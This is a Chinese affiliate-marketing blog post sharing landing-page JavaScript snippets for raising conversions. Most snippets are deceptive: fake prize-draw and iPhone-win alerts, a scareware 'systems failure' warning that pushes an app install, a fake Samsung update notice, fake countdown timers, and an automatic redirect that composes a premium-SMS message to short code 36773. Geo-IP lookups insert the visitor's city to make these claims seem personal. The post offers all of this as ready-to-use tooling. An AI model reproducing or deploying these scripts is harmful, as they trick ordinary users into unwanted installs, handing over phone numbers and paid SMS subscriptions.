快速提升转化率的登陆页JavaScript代码

3条必备通用代码

<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="robots" content="noindex, nofollow, noarchive, nosnippet" />

打开LP弹窗代码

 <script>
alert("Congratulations!\n\nYou have come first in "+place+"'s (Mobile) prize draw contest!\n\nYou are now entitled to choose (1) reward!\n\nPress OK to continue...");
</script>

或者* SAMSUNG REQUIRED UPDATE * 

Samsung needs to install the updated streaming app in order to continue viewing content on this site.

Install now on Google Play.
单页弹窗代码
<body bgcolor="#000000">
<script type='text/javascript'>
alert('***** WARNING ***** \n\n(4) Systems failure detected while you attempted to perform this download. Your phone contacts, photos & password could be damaged. \n\nImmediate action must be taken : \n\nStep 1: Install Kiwi Calendar Recovery from App Store \n\nStep 2: Load Apps & Run Auto Recovery function \n\nStep 3: Wait for 60 Seconds for System Repair \n\r\n\r *** Exit at your own risk ***');</script> 
<meta http-equiv="refresh" content="0;URL=http://alsomomoney" />  

</body>

显示地理位置的JavaScript Code

<script language="JavaScript" src="http://j.maxmind.com/app/geoip.js"></script>
<script>
var place;
var city = geoip_city();
var country = geoip_country_name();
if(city=='') place = country;
else place = city;
</script>

引用处代码:<script language="JavaScript">document.write(place);</script>

推出弹窗代码

<script language="JavaScript" type="text/javascript">
function exit_alert(){alert("You Have Chosen the New Iphone 6 (32GB Black).\n\nGood News! We have (2) iPhone 6 in stock and your prize has now been reserved!\n\nPlease answer the final qualifying question correctly and enter your mobile number on the next page to continue!");}
</script> 

引用处<a class="step2" href="<?php echo $offer; ?>" onClick="exit_alert();">

显示星期几的或具体上下午的JavaScript Code

<strong><script type="text/javascript">

var d=new Date();
var weekday=new Array(7);
weekday[0]=" Sunday ";
weekday[1]=" Monday ";
weekday[2]=" Tuesday ";
weekday[3]=" Wednesday ";
weekday[4]=" Thursday ";
weekday[5]=" Friday ";
weekday[6]=" Saturday ";

document.write("" + weekday[d.getDay()]);

</script> <script language="JavaScript">

<!-- Begin
var d = new Date();
var h = d.getHours();

if (h < 2) document.write("morning, ");
else if (h < 3) document.write("morning, ");
else if (h < 7) document.write("morning, ");
else if (h < 12) document.write("morning, ");
else if (h < 17) document.write("afternoon, ");
else if (h < 23) document.write("evening, ");
else document.write("evening");
// End -->
</script></strong> we randomly select one <strong></strong> user from <strong><script language="JavaScript">document.write(place);</script>
</strong> who is eligible for a chance to win a brand new iPad! <br />Based on today's draw you are this <strong>

<script language="JavaScript">

<!-- Begin
var d = new Date();
var h = d.getHours();

if (h < 2) document.write("morning's");
else if (h < 3) document.write("morning's");
else if (h < 7) document.write("morning's");
else if (h < 12) document.write("morning's");
else if (h < 17) document.write("afternoon's");
else if (h < 23) document.write("evening's");
else document.write("evening's");
// End -->
</script>

计时器代码:

 <script>
setInterval('countdown()',1000);
function countdown(){
var mins = parseInt(document.getElementById("mins").innerHTML);
var secs = parseInt(document.getElementById("hsecs").innerHTML);
if(mins!=0 && secs==0){nmins = mins -1; nsecs = 59;}
else if(mins!=0 || secs!=0){nmins = mins; nsecs = secs - 1;}
else if(mins==0 && secs==0){nmins = mins; nsecs = secs;}
document.getElementById("mins").innerHTML = nmins;
document.getElementById("hsecs").innerHTML = nsecs;
if(nsecs < 10) nsecs = "0" + nsecs;
document.getElementById("secs").innerHTML = nsecs;
}
</script>

引用计时器代码:
<span style="color:red;"><span id="mins">3</span> Mins 
<span id="secs">41</span> Sec <span style="display: none;" id="hsecs">41</span> </span>
自动重定向短讯:
<script type="text/javascript">
              setTimeout(function() { window.location.href="sms:36773?body=ON WIN"; }, 5000);
          </script>

地理定位,声音,视频,弹窗,计时器等促进LP登陆页CTR转化率
GEO dating landings pages将会是很好的促进CTR转化率。如果在配合声音,来路关联脚本、关闭提示脚本,辅以热门时事,简单问答判断,如你nice不?还有大人类offer Dating .—Are you older than 18?

Geo Targeting

Geo Targeting

Geo targeting is pretty simple but used correctly can increase your CTR pretty dramatically. In this post I’m going to show you how to implement geo targeting step by step and talk about some practical applicatons.

Step 1 – Get the script

A simple script to set up and use is http://www.maxmind.com/app/javascript_city

Step 2 – Add the script to your LP

You will need an HTML editor and some very basic HTML knowledge (which you should definitely have).

Add this code <script language=”JavaScript” src=”http://j.maxmind.com/app/geoip.js”></script>
to the head section of your HTML (add it after the <head> tag and before the </head> tag)

Now wherever you want to display the city on your page use this code

<script language=”JavaScript”>document.write(geoip_city()) ;</script>

That’s really it.

So, what are some ways you can use this?

You can use this on virtually any campaign. Some of the most popular uses are;

– On a dating .”Meet singles in cityname” type thing

– On an insurance landing page. “Get insurance rates in cityname”

– On any freebie, coupon, etc. type offer. “We have a special deal for people in cityname”

Those are the most obvious examples but you can get really creative with this. Don’t just use the obvious examples but come up with really creative ways to use geo targeting and it can really do wonders for your CTR and conversions.

GeoIP Redirection 教程
GeoIP Redirection 步骤

1.下载所需文件
GeoIP.dat,并解压
dev.maxmind.com/geoip/legacy/geolite
这个数据每月5号更新

geoip.inc
http://pan.baidu.com/share/link?shareid=481635&uk=87540973

2.修改PHP文件

    

复制代码
很简单,大家一看就懂
国家代码查询:http://dev.maxmind.com/geoip/legacy/codes/iso3166

3.上传文件
把GeoIP.dat, geoip.inc 和 PHP文件放在同一个文件夹,PHP文件可以任意取名,然后打包上传到可以访问的目录。

如果您觉得文章不错,请订阅本站获取更多干货!
版权申明
如未注明,均为把握度原创,码字不易,转载请注明出处及原文链接!
本文标题:《快速提升转化率的登陆页JavaScript代码》
本文链接地址:https://bawodu.com/landing-pages-javascript-code/

发表评论

电子邮件地址不会被公开。 必填项已用*标注